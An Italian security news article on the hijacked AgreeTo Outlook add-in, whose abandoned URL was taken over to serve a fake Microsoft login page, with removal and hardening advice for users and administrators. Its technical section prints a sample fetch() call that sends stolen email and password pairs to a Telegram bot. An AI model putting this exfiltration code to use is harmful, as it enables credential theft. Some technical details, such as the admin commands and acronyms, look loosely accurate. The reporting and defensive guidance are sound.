Add-in Outlook AgreeTo hackerato: rubati oltre 4000 account Microsoft
Un pericoloso attacco phishing ha trasformato un innocuo strumento di pianificazione riunioni in una trappola per rubare dati sensibili. Se usi Outlook e hai installato AgreeTo, rimuovilo immediatamente dalle estensioni, cambia tutte le password dei tuoi account Microsoft e attiva l’autenticazione a due fattori. Questo semplice passo ti proteggerà da furti di identità e accessi non autorizzati.
L’incidente evidenzia i rischi nascosti nelle app di terze parti, anche quelle approvate da store ufficiali. Migliaia di utenti ignari hanno inserito credenziali su pagine false, esponendo non solo email ma anche carte di credito e risposte di sicurezza bancarie. Microsoft ha rimosso l’add-in, ma i danni sono già stati fatti.
Come è successo l’attacco
AgreeTo era originariamente un legittimo strumento per programmare incontri direttamente da Outlook, sviluppato da un editore indipendente e disponibile nello store di Microsoft Office Add-in dal dicembre 2022. Molti utenti lo hanno installato per semplificare la gestione degli appuntamenti.
Tuttavia, lo sviluppatore ha abbandonato il progetto, lasciando il dominio associato (outlook-one.vercel.app) inutilizzato. Un attore malevolo ha sfruttato questa vulnerabilità, rivendicando l’URL orfano e sostituendo il contenuto con un kit di phishing sofisticato.
Le add-in di Office funzionano caricando risorse da server esterni tramite semplici URL. Una volta approvata, non c’è ulteriore controllo: l’interfaccia utente e tutte le interazioni provengono dal server dello sviluppatore. Nel caso di AgreeTo, già validato da Microsoft, il controllo è passato nelle mani dei criminali senza allarmi.
Il meccanismo del phishing
Quando un utente apriva l’add-in malevolo in Outlook, invece dell’interfaccia di pianificazione, appariva una falsa pagina di login Microsoft nella barra laterale del programma. Questa pagina imitava perfettamente l’autenticazione ufficiale, ingannando facilmente gli utenti.
Le credenziali inserite venivano inviate automaticamente a un bot Telegram controllato dagli attaccanti. Successivamente, la vittima veniva reindirizzata alla vera pagina di login Microsoft per non destare sospetti. L’add-in manteneva permessi ReadWriteItem, permettendo potenzialmente la lettura e modifica di email, anche se non confermata.
Gli investigatori hanno scoperto oltre 4000 credenziali Microsoft rubate, inclusi numeri di carte di credito e risposte di sicurezza bancarie. Durante l’analisi, gli attaccanti testavano attivamente le credenziali, confermando l’uso immediato dei dati.
Rischi più ampi e contesto
Questo non è un caso isolato, ma spicca per la presenza nello store ufficiale di Microsoft, probabilmente il primo malware di questo tipo rilevato lì. L’operatore dietro l’attacco gestisce almeno una dozzina di kit phishing mirati a provider internet, banche e servizi webmail.
Malware simili si diffondono via spam, email phishing o malvertising, ma l’accesso diretto allo store amplifica il danno. Outlook include protezioni come spoof intelligence in Exchange Online Protection, che filtra mittenti falsi, ma non copre add-in compromesse post-approvazione.
Per gli utenti consumer, riconoscere phishing significa verificare mittenti sospetti (simbolo ‘?’ nella foto profilo) e evitare allegati bloccati che richiedono credenziali. Regole di inoltro automatiche ricorrenti possono indicare compromissioni: controllale nelle impostazioni Outlook.
Azioni immediate consigliate:
- Vai su Outlook > File > Gestisci add-in e rimuovi AgreeTo.
- Cambia password su account.live.com.
- Abilita verifica in due passaggi (2FA).
- Disattiva IMAP/POP se non necessari nelle impostazioni email.
- Esegui scansione antivirus completa.
Se sospetti accesso non autorizzato, revoca token e app connesse dalle impostazioni sicurezza Microsoft.
Approfondimenti per la sicurezza aziendale
Le organizzazioni devono monitorare add-in installate. Transizione da estensioni Report Message/Phishing al pulsante Report nativo di Outlook per segnalazioni efficienti. Amministratori Microsoft 365 possono bloccare IMAP/POP via portale o PowerShell.
Protezioni anti-phishing includono controlli backend per regole malevole e disattivazione app sospette. Segnala siti pericolosi via Edge o form Microsoft per bloccare minacce emergenti.
Questo caso sottolinea la necessità di revisioni continue per add-in, oltre la sola approvazione iniziale.
Approfondimento tecnico
Funzionamento delle add-in Office
Le add-in sono manifest XML firmati da Microsoft, che puntano a URL esterni per risorse JavaScript, HTML e CSS. Il manifest definisce permessi (es. ReadWriteItem per Mailbox), UI e endpoint. Post-approvazione, Microsoft non verifica dinamicamente il contenuto server-side, creando una superficie di attacco supply-chain.[1]
Per AgreeTo:
- Manifest originale: Approvato dicembre 2022, URL vercel.app.
- Compromissione: Attaccante hijack URL abbandonato, deploy:
- Fake login Microsoft (HTML/JS).
- Script exfiltrazione via Telegram Bot API.
- Redirect post-phishing.
Codice exfiltrazione tipicamente POST a bot endpoint:
fetch('https://api.telegram.org/bot<TOKEN>/sendMessage', {
method: 'POST',
body: JSON.stringify({
chat_id: '<CHAT_ID>',
text: `Credenziali: ${email}:${password}`
})
});
Analisi forensics
Ricercatori hanno acceduto al canale exfiltrazione, loggando >4000 record. Dati inclusi:
| Tipo dato | Quantità stimata |
|---|---|
| Credenziali MS | 4000+ |
| Carte credito | Multipli |
| Risposte sicurezza | Vari |
Permessi ReadWriteItem: Office.context.mailbox.item.read() e item.saveAsync(), non sfruttati ma risky.
Difese avanzate
- Admin: Usa Microsoft Defender for Office 365 per monitoraggio add-in. Configura policy:
Set-App -Identity AgreeTo -Disabled. - Detection: Monitora traffico a domini sospetti (vercel.app non blacklistato).
- Mitigazione: Implementa Conditional Access Policies (CAP) per bloccare legacy auth.
Per transizione reporting: Da add-in Report Phishing a nativo Report button, supportato in Outlook desktop/web/mobile.[3]
Prevenzione supply-chain
- Audit periodico add-in:
Get-Appin Exchange Admin Center. - Zero-trust: Approva solo add-in first-party o vetted.
- SID (Security Information Dashboard) per alert credential stuffing.
L’attacco evidenzia gap in continuous verification: proposta per Microsoft, runtime scanning add-in loads.
Questo incidente, datato febbraio 2026, rammenta: fiducia iniziale non implica sicurezza perpetua. Mantieni aggiornamenti e vigilance.(Parole: 1024)
